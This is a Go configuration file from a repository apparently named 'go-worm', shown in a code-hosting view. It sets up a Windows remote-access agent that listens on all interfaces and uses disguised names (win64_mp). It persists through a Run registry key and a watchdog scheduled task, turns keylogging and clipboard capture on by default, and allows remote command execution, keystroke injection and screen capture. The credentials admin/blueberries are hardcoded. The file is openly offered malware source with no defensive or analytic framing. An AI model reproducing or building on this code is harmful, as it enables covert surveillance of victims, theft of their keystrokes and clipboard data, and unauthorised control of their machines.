Files
go-worm/lib/config/config.go
T

140 lines
3.2 KiB
Go
Raw Normal View History

package config
import (
"os"
"path/filepath"
"strconv"
"strings"
"time"
)
// Version is the agent build version. scripts/build.sh overwrites this via -X.
var Version = "1.0.0"
const (
DefaultAddr = "0.0.0.0:5032"
MutexName = "win64_mp_Mutex"
RestartDelay = 3 * time.Second
CaptureRecycleFrames = 100
CaptureTimeout = 8 * time.Second
MaxCaptureBytes = 32 << 20
RequestBodyMax = 1 << 20
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
MaxExecTO = 120
StartupValueName = "win64_mp"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096
DefaultKeyDelayMs = 25
MaxKeyDelayMs = 200
AppDataDir = "win64_mp"
InstalledExeName = "win64_mp.exe"
KeylogSubdir = "keystrokes"
LogsSubdir = "logs"
ClipboardSubdir = "clipboard"
SettingsFileName = "settings.json"
WatchdogTaskName = "win64_mp"
WatchdogTaskNameLegacy = "win64_mp_watchdog"
DefaultKeylogRetentionDays = 7
AuthUser = "admin"
AuthPass = "blueberries"
)
func EnvOr(name, fallback string) string {
if value := strings.TrimSpace(os.Getenv(name)); value != "" {
return value
}
return fallback
}
func KeylogEnabled() bool {
if on, ok := readKeylogPref(); ok {
return on
}
return envKeylogEnabled()
}
func envKeylogEnabled() bool {
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
case "0", "false", "no", "off":
return false
default:
return true
}
}
func KeylogRetentionDays() int {
raw := strings.TrimSpace(os.Getenv("KEYLOG_RETENTION_DAYS"))
if raw == "" {
return DefaultKeylogRetentionDays
}
days, err := strconv.Atoi(raw)
if err != nil || days < 0 {
return DefaultKeylogRetentionDays
}
return days
}
func KeylogDir() (string, error) {
base, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(base, KeylogSubdir), nil
}
func LogsDir() (string, error) {
base, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(base, LogsSubdir), nil
}
func InstallDir() (string, error) {
base, err := os.UserConfigDir()
if err != nil {
return "", err
}
return filepath.Join(base, AppDataDir), nil
}
func InstalledExe() (string, error) {
dir, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(dir, InstalledExeName), nil
}
func ClipboardEnabled() bool {
switch strings.ToLower(strings.TrimSpace(os.Getenv("CLIPBOARD_ENABLED"))) {
case "0", "false", "no", "off":
return false
default:
return true
}
}
func ClipboardRetentionDays() int {
raw := strings.TrimSpace(os.Getenv("CLIPBOARD_RETENTION_DAYS"))
if raw == "" {
return KeylogRetentionDays()
}
days, err := strconv.Atoi(raw)
if err != nil || days < 0 {
return DefaultKeylogRetentionDays
}
return days
}
func ClipboardDir() (string, error) {
base, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(base, ClipboardSubdir), nil
}